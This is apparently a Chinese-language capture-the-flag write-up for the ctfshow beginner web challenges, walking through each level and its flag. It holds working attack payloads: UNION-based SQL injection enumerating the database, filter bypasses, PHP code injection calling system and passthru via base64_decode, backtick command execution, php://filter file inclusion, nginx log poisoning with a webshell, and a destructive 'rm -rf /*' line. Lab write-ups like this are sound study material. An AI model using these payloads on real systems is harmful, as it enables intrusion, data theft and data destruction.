打开靶机,发现包含有个config.php文件,打开进去没有数据
所以直接开始代码审计吧~
![](https://img-blog.csdnimg.cn/2748d5d894b04246a652484b266f3c49.png)
有个变量为id,参数必须为1000才能获得flag,但id>999直接返回退出了。
尝试一下sql注入
![](https://img-blog.csdnimg.cn/7120dd8274774b57878b5e300a04a168.png)
整形注入:
看一下回显点
![](https://img-blog.csdnimg.cn/81186706a01143009b533dcae0f1e456.png)
回显点为三
版本:10.3.18-MariaDB
![](https://img-blog.csdnimg.cn/04cb402cd281474ebdef4bcc2ac21475.png)
数据库:web1
?id=2 union select 1,2,database()#
![](https://img-blog.csdnimg.cn/14d968716aa64c11bcbae32bfe5a74db.png)
表:article
?id=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
字段:id,title,content
?id=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='article'#
![](https://img-blog.csdnimg.cn/f4f1252ae7c64f06b6d9c59ed5878808.png)
内容:this is content,ctfshow{19b8411c-0a4e-4e19-8ecf-e2c97a8b00ce}
?id=2 union select 1,2,group_concat(content) from article#
![](https://img-blog.csdnimg.cn/fe9ad98ac33c47faa613255ee4565d1a.png)
获得flag:ctfshow{19b8411c-0a4e-4e19-8ecf-e2c97a8b00ce}
看一下下一题的web2
![](https://img-blog.csdnimg.cn/2696482fed2d4cd3ab8080ea473fb6fb.png)
发现只是过滤了or和大小写
但我们并未用or,所以不影响,库、表、字段这些都相同,所以直接上一题的语句一把梭
?id=2 union select 1,2,group_concat(content) from article#
flag:ctfshow{2749f076-ea82-45bc-b43b-8fae34472540}
web3同理,也是过滤,只不过过滤得更多了
![](https://img-blog.csdnimg.cn/2a3cf078a7d74f32a385e3b7ce2beaa9.png)
不影响,直接梭:
?id=2 union select 1,2,group_concat(content) from article#
![](https://img-blog.csdnimg.cn/db7f912e150043649ebc8013a449ec26.png)
Web4,这里过滤了select,用se/**/lect、双写发现绕不过去
![](https://img-blog.csdnimg.cn/062d4663d13a49dfbfad1b18a2164b78.png)
但可以构造一个语句绕过intval函数
intval()函数:在转换整数时,如果被转换的是字符串,则会从最左边第一个字符开始转换,直到遇到非整数的字符才会停止转换
构造语句:
?id=2 || id=1000
![](https://img-blog.csdnimg.cn/c03bdae45ea14820bdffe2359a855e98.png)
flag:ctfshow{31c1e32b-6823-42e1-92cc-45460d801c55}
【萌新计划】web5
题目: 阿呆被老板狂骂一通,决定改掉自己大意的毛病,痛下杀手,修补漏洞。
解题思路: 题目代码
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id))
利用字节操作,构造url
?id=~~1000
web6:同理
?id=~~1000
web7发现禁了~符号
直接把十进制转2进制1000=ob1111101000
?id=0b1111101000![](https://img-blog.csdnimg.cn/f951f3bf81a74f8383230018536a2b48.png)
ctfshow{9f481eac-19be-4c78-82b8-aeb00875cd8a}
web8梗题
![](https://img-blog.csdnimg.cn/0bbe7adc98a241879de8091400a2635f.png)
?flag=rm -rf /*
web9
![](https://img-blog.csdnimg.cn/f1762fafee5a4bf6866e9d7c50bf8df3.png)
提示flag在config.php中,然后要包含/system|exec|highlight
这些函数的任意一个
所以直接梭:?c=highlight_file("config.php");
web10
![](https://img-blog.csdnimg.cn/3504d930f3c944539a1f2e6971410c06.png)
web9差不多,只是不能使用哪些函数,但php读取文件内容还有其它函数
如下:
// file_get_contents
print(sprintf("%'-10s%-'-30s", '-', 'file_get_contents').PHP_EOL);
echo file_get_contents('flag.txt');
echo PHP_EOL;
// fopen fread
print(sprintf("%'-10s%-'-30s", '-', 'fopen fread').PHP_EOL);
$file = fopen("flag.txt","rb");
echo fread($file,1024); // 参数为 resource 类型
fclose($file);
echo PHP_EOL;
// fopen fgets
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgets').PHP_EOL);
$file = fopen("flag.txt","r");
echo fgets($file, 4096); // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;
// fopen fgetss
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgetss').PHP_EOL);
$file = fopen("flag.txt","r");
echo fgetss($file, 4096); // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;
// readfile
print(sprintf("%'-10s%-'-30s", '-', 'readfile').PHP_EOL);
echo readfile("flag.txt"); // 看到不仅输出了所有内容,而且还输出了总共长度
echo PHP_EOL;
// file
print(sprintf("%'-10s%-'-30s", '-', 'file').PHP_EOL);
print_r(file('flag.txt')); // 读取结果为数组,所以需要用 print_r 或 var_dump
echo PHP_EOL;
// parse_ini_file
print(sprintf("%'-10s%-'-30s", '-', 'parse_ini_file').PHP_EOL);
echo parse_ini_file("flag.txt"); // 只能读取 ini 配置文件
echo PHP_EOL;
// show_source
print(sprintf("%'-10s%-'-30s", '-', 'show_source').PHP_EOL);
show_source('flag.txt');
echo PHP_EOL;
// highlight_file
print(sprintf("%'-10s%-'-30s", '-', 'highlight_file').PHP_EOL);
highlight_file('flag.txt');
echo PHP_EOL;
?c=show_source("config.php");
![](https://img-blog.csdnimg.cn/36006090f7444254970226da8adb0b3c.png)
ctfshow{aa269eb9-2cb1-4af9-a73f-fb724d80fab4}
web11
只是过滤了cat
但不影响,直接读:?c=show_source("config.php");
![](https://img-blog.csdnimg.cn/4ceb720c7e1c47a49dbfbf1eefe9a996.png)
ctfshow{cc30ffa0-d82a-43f5-bb6a-918c1aeaadc9}
web12
![](https://img-blog.csdnimg.cn/cefe503319324e1287775923300676a5.png)
passthru:passthru — 执行外部程序并且显示原始输出
base64编码:
config.php:Y29uZmlnLnBocA==
system:c3lzdGVt
cat config.php:Y2F0IGNvbmZpZy5waHA=
用base64.decode绕过
?c=$a= base64_decode('Y29uZmlnLnBocA==');passthru("more $a");![](https://img-blog.csdnimg.cn/70c7d849545f438c974d417d0b9b9388.png)
得到flag
法2,继续base64_decode绕过
?c=$a=base64_decode("c3lzdGVt");$b=base64_decode("Y2F0IGNvbmZpZy5waHA=");$a($b);
![](https://img-blog.csdnimg.cn/6015e9cdc45e42c3a78b291962518732.png)
flag:ctfshow{4808f87a-9844-4cce-a166-ef8d0b9a35bf}
web13:过滤了分号,一次只能执行一句命令
![](https://img-blog.csdnimg.cn/e2c4586678fb452da49c585b2b43dbdb.png)
php中如果过滤了分号的话可以用?>来闭合命令
反引号``会将其中的内容当做系统命令来执行, 并返回一个字符串类型的变量用来保存执行结果, 下面的payload会先执行 `ls | grep con*`, 在将结果作为文件名供 more命令查询, 也就是 more config.php
?c=passthru("more `ls | grep con*`")?>
![](https://img-blog.csdnimg.cn/7e01b59948c04de1b0ee9b2b66f09fb9.png)
web14
include包含结合伪协议php://filter/read
构造payload:?c=include$_GET('a')?>$a=php://filter/read=convert.base64_encode/resource=config.php
获得结果:PD9waHANCiRmbGFnID0gImN0ZnNob3d7Yjk4YjcyZTgtOWU0YS00ZDkwLThiNGMtNjM2ZmRjNmQwNDhjfSI7DQo/Pg0K
base64解码
![](https://img-blog.csdnimg.cn/bd7f8e2ab0fb454ab024ca1946bc1349.png)
flag:ctfshow{b98b72e8-9e4a-4d90-8b4c-636fdc6d048c}
或 ?c=echo `$_REQUEST[a]`?>&a=cat config.php
web15
if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c))
所以上一题修改一下
构造payload:?c=include$_GET['a'];&a=php://filter/read=convert.base64-encode/resource=config.php
得到base64
PD9waHANCiRmbGFnID0gImN0ZnNob3d7YzI0NWI4YmUtZTJlMi00OTA4LWFhOTctMmYxM2I0YWFjNmE0fSI7DQo/Pg0K
解码:<?php
$flag = "ctfshow{c245b8be-e2e2-4908-aa97-2f13b4aac6a4}";
?>
web16
![](https://img-blog.csdnimg.cn/dcce7191009a4e52ad64411e710d8d2f.png)
直接源码放出来了,发现传的参数加ctfshow再md5之后要===a6f57ae38a22448c2f07f3f95f49c84e
所以反向思考a6f57ae38a22448c2f07f3f95f49c84e解密之后应该有ctfshow的字符串,只要去掉ctfshow的字符串即为答案:
解密网站MD5免费在线解密破解_MD5在线加密-SOMD5MD5在线免费破解,支持md5,sha1,mysql,sha256,sha512,md4,织梦,vBulletin,Discuz,md5(Joomla),mssql(2012),ntlm,md5(base64),sha1(base64),md5(wordpress),md5(Phpbb3),md5(Unix),des(Unix)等数十种加密方式
https://www.somd5.com/
![](https://img-blog.csdnimg.cn/1487e0112b0e40788167686e9c9cb297.png)
所以答案就为36d
![](https://img-blog.csdnimg.cn/bf6392ff4cb740aea18f916cc0fa9734.png)
flag: ctfshow{1c7fbd46-2b67-4358-a686-74d8d2ec4546}
web17
![](https://img-blog.csdnimg.cn/d3a08e84a6624b139b7f1dcb4b9c5a74.png)
过滤了php大小写
![](https://img-blog.csdnimg.cn/84b3ff452dab4e8180ae4b2ee5d07b37.png)
抓波包,发现Server为nginx,nginx日志文件在/var/log/nginx/access.log
访问一下:
![](https://img-blog.csdnimg.cn/c7719acb55bf43729eac14c7f2d203cc.png)
可以访问,直接抓包,把user-agent改为一句话,梭
![](https://img-blog.csdnimg.cn/6b32674c2aa049b4976d9004cdd27ba6.png)
ctfshow{c8b7e662-039d-47cd-8ad0-f55ce48ce9e6}
web18与17同理,改useragent为一句话![](https://img-blog.csdnimg.cn/f3654e8f86804c92a15a1c2b9df62807.png)
ctfshow{9329c42e-52c9-4e3c-a9f7-471a9bc6f6de}
获得百分之百的快乐
![](https://img-blog.csdnimg.cn/b2ca86ff42794a0986325d2687054721.png)
代码审计,变量为1,传参的长度必须<4
ls一下
?1=ls
nl secretsecret_ctfshow_36dddddddddd.php zzz.php //by Firebasky
有这些文件,nl是我刚刚传上去的,flag在第一个secretsecret_ctfshow_36dddddddddd.php文件中,如果直接cat的话,这个文件名字太长了,不行
所以这里用到nl命令,nl命令跟cat差不多
直接构造?1=>nl 创建一个名为nl的空文件
?1=* 把第一个文件的名字当中命令执行 相当于执行nl命令
![](https://img-blog.csdnimg.cn/c51e1337653f4071971e2bcc4fe98e8d.png)
直接获得flag:ctfshow{3148ca47-1a20-4165-997d-03c0a8bbf31c}
另外还有 22、23、24题没做,思考一下
感谢观看~